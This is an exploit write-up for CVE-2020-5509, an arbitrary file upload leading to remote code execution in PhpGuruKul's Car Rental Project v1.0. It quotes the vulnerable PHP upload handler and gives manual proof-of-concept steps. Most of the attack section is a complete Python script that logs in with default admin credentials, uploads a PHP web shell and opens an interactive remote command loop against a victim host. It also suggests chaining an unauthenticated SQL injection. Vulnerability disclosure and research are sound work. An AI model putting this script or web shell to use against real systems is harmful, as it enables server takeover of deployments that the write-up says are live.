CVE-2020-5509 - Remote Authenticated Remote code execution in Car Rental Project v.1.0 - arbitrary file upload

The Car Rental Project v.1.0 web application is a piece of software produced by PhpGuruKul with over 24,944 downloads. It’s advertised as an easy to deploy a web application for small companies to utilize for setting up a car purchase/rental shop. Searching Google via various google dorks results in the discovery of a small handful of active deployments.


# Exploit Title: Car Rental Project v.1.0 Remote Code Execution
# Google Dork: N/A
# Date: 1/3/2020
# Exploit Author: FULLSHADE
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/car-rental-project-php-mysql-free-download/
# Version: 1.0
# Tested on: Windows
# CVE : CVE-2020-5509

The vulnerability & code

Within the administrator settings portal, an admin can update various product information, an admin can change the images of one of the products to a malicious payload since the server-side PHP code doesn’t serve proper validation for the types of code and files which are uploaded. Without proper sanitization, the web application becomes vulnerable to what’s classed as Arbitrary File Upload which can result in remote code execution in this specific instance.

Since the web-application is free and open-source, we can view the vulnerable source code which is located in changeimage1.php

if(isset($_POST['update']))
{
$vimage1=$_FILES["img1"]["name"];
$id=intval($_GET['imgid']);
move_uploaded_file($_FILES["img1"]["tmp_name"],"img/vehicleimages/".$_FILES["img1"]["name"]);
$sql="update tblvehicles set Vimage1=:vimage1 where id=:id";
$query = $dbh->prepare($sql);
$query->bindParam(':vimage1',$vimage1,PDO::PARAM_STR);
$query->bindParam(':id',$id,PDO::PARAM_STR);
$query->execute();

$msg="Image updated successfully";

An attacker can make a post request to the changeimage1.php page with any sort of malicious file since there is no file sanitization or checking to see if the uploaded “image” is an image. This is a horrible example of how proper file upload should be handled from the server-side PHP code. On the 5th line, you can see that the “image” payload is uploaded to img/vehicleimages/ which is also an open directory with a default installation of this product.


Manual POC -> code execution

  1. Visit carrental > admin login > changeimage1.php

image of upload

  1. Upload a php rce vulnerable payload
  2. Visit /carrentalproject/carrental/admin/img/vehicleimages/<RCE>.php to visit your file
  3. Execute commands on the server/reverse shell

image of shell


Automated exploitation

In Python, we can use the default admin credentials for the application to log in, then use Pythons request module to grab the session token and use that to upload your payload to the open directory, then you can make GET requests to the backdoor PHP file to execute arbitrary commands on the remote server.

image of RCE

https://packetstormsecurity.com/files/155925/Car-Rental-Project-1.0-Remote-Code-Execution.html

import sys
import requests

print(
    """
+-------------------------------------------------------------+
        Car Rental Project v1.0 -  Remote Code Execution
+-------------------------------------------------------------+
"""
)

def login():

    sessionObj = requests.session()

    RHOSTS = sys.argv[1]
    bigstring = "\n+-------------------------------------------------------------+\n"
    print("+-------------------------------------------------------------+")
    print("[+] Victim host: {}".format(RHOSTS))

    POST_AUTH_LOGIN = "http://" + RHOSTS + "/carrentalproject/carrental/admin/index.php"
    SHELL_UPLOAD_URL = (
        "http://" + RHOSTS + "/carrentalproject/carrental/admin/changeimage1.php"
    )

    # login / authentication
    payload = {"username": "admin", "password": "Test@12345", "login": ""}
    login = sessionObj.post(POST_AUTH_LOGIN, data=payload)
    # get response
    if login.status_code == 200:
        print("[+] Login HTTP response code: 200")
        print("[+] Successfully logged in")
    else:
        print("[!] Failed to authenticate")
        sys.exit()

    # get session token
    session_cookie_dic = sessionObj.cookies.get_dict()
    token = session_cookie_dic["PHPSESSID"]
    print("[+] Session cookie: {}".format(token))

    # proxy for Burp testing

    proxies = {"http": "
http://127.0.0.1:8080
", "https": "
http://127.0.0.1:8080
"}

    # data for uploading the backdoor request
    backdoor_file = {
        "img1": (
            "1dccadfed7bcbb036c56a4afb97e906f.php",
            '<?php system($_GET["cmd"]); ?>',
            "Content-Type application/x-php",
        )
    }
    backdoor_data = {"update": ""}

    SHELL_UPLOAD_URL = (
        "http://" + RHOSTS + "/carrentalproject/carrental/admin/changeimage1.php"
    )

    # actually upload the php shell
    try:
        r = sessionObj.post(
            url=SHELL_UPLOAD_URL, files=backdoor_file, data=backdoor_data
        )
        print(
            "[+] Backdoor upload at /carrentalproject/carrental/admin/img/vehicleimages/1dccadfed7bcbb036c56a4afb97e906f.php" + bigstring
        )
    except:
        print("[!] Failed to upload backdoor")

    # get command execution
    while True:
        COMMAND = str(input('\033[32m' + "Command RCE >> " + '\033[m'))
        SHELL_LOCATION = (
            "http://"
            + RHOSTS
            + "/carrentalproject/carrental/admin/img/vehicleimages/1dccadfed7bcbb036c56a4afb97e906f.php"
        )
        # get RCE results
        respond = sessionObj.get(SHELL_LOCATION + "?cmd=" + COMMAND)
        print(respond.text)

if __name__ == "__main__":
    login()

Recommended vendor patch/fix

Any vendor that is running this software should either patch the code themselves manually (since the original company/author acknowledge yet decided against fixing it) or to remove the software web application entirely.


Make it Unauthenticated

To make this CVE/vulnerability become double as dangerous, another CVE was discovered within this same vulnerability assessment, which is an Unauthenticated SQL injection, an attacker can leverage this SQL injection to modify the user database and add/change the current administrative password to give an attacker full authenticated remote code execution.


Disclosure

  1. Contacted the vendor/company
  2. I found a posting where the author acknowledged the vulnerability yet didn’t care to patch it.
  3. The author didn’t respond after 60 days.
  4. Full disclosure of POC exploit

Conclusion

Conclusively, an RCE vulnerability was discovered in a car rental web application (which has live and active deployments), an attacker can upload malicious files without needing to bypass any sort of file sanitization or validation. An attacker can use this vulnerability to upload malware and or backdoors to the server which leads to full compromise.

Updated: